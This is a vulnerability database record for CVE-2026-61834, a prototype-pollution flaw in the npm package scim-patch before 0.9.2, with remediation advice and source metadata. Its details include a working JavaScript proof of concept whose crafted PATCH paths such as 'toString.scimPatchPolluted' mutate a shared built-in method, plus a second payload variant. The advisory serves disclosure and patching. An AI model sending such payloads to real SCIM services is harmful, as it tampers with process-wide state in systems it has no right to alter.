{"schema":"threatline.record/2","record":{"id":"CVE-2026-61834","aliases":["GHSA-2mhw-wcx5-v3xj"],"summary":"scim-patch: Mutation of Inherited Built-in Method Objects","details":"## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.","categories":["Libraries & packages"],"product":"scim-patch","vendor":"thomaspoignant","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2mhw-wcx5-v3xj","source_modified_at":"2026-09-28T14:01:17Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"scim-patch"},"range":"< 0.9.2"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61834","source_modified_at":"2026-09-23T16:20:22.098Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"scim-patch","vendor":"thomaspoignant","versions":[{"version":"< 0.9.2","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2mhw-wcx5-v3xj","source_modified_at":"2026-09-28T14:15:04.388935988Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"scim-patch","purl":"pkg:npm/scim-patch"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"0.9.2"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-2mhw-wcx5-v3xj","source_modified_at":"2026-09-28T14:01:17Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"scim-patch"},"version":"0.9.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-2mhw-wcx5-v3xj","source_modified_at":"2026-09-28T14:15:04.388935988Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"scim-patch","purl":"pkg:npm/scim-patch"},"version":"0.9.2"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.0028,"percentile":0.19423,"score_date":"2026-10-23"},"published_at":"2026-09-23T14:02:01.131Z","modified_at":"2026-09-28T14:15:04.388935988Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-2mhw-wcx5-v3xj","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-28T14:01:17Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61834","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-23T16:20:22.098Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-2mhw-wcx5-v3xj","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-28T14:15:04.388935988Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61834","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61834","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/thomaspoignant/scim-patch/pull/1127","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-2mhw-wcx5-v3xj","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-23T16:20:07.829094Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-28T14:15:04.388935988Z","content_hash":"085e2a139fe5995a3163c622dfdbda67fac793d5c6cacba2d041aa17e48c6869"}}
